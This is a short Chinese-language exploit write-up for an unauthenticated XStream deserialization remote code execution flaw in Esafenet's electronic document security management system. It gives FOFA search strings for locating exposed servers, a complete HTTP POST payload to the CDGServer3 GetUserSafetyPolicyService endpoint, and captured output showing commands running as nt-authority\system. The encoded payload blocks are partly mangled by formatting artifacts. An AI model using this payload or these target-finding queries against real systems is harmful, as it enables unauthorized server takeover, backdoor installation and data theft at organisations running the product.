Y5-23亿赛通-电子文档安全管理系统-反序列化RCE

漏洞描述:

某赛通电子文档安全管理系统 多处接口处存XStream反序列化远程代码执行漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web 服务器。

网站图片:



网络测绘:

fofa语法:

body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"

漏洞复现:

payload:

POST /CDGServer3/GetUserSafetyPolicyService?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml

 $\verb|NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIC$

效果图: Request ⟨ ⟩ 数据包扫描 熱加载 构造请求 ※ Responses 21bytes / 238ms POST /CDGServer3/GetUserSafetyPolicyService?command=GETSYSTEMINFO HTTP/1.1 Set-Cookie: JSESSIONID=8FB509DCCBAAB93389 Content-Type: text/html; charset=utf-8 Date: Wed, 31 Jan 2024 21:14:14 GMT User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0. 2225.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Connection: close Connection: close Content-Length: 21 Content-Type: text/xml nt-authority\system NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMN EIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBF MFGBDOTOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFA GLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOE PBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOB HIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDF JNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALD ${\tt IIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEO$ LEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFB ${\tt GKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHD}$ ${\tt GBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJ$ IDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDP ${\tt BDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHNIBEGOOFEFGAENOKBMPC}$ ${\tt BDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICFMFLJN}$ DMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBFGMHCLEPFHCCKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAH KBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHCMDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPA ${\tt NPLIBGDCCNMDNDNOIPOECCPELCEDPGCNJHEIOIFPJDKIFNJGHAHLHFNPICIJLHELMODMJIEGMMBNMMFBEJCDDDFOPAJOMBNKBDBG}$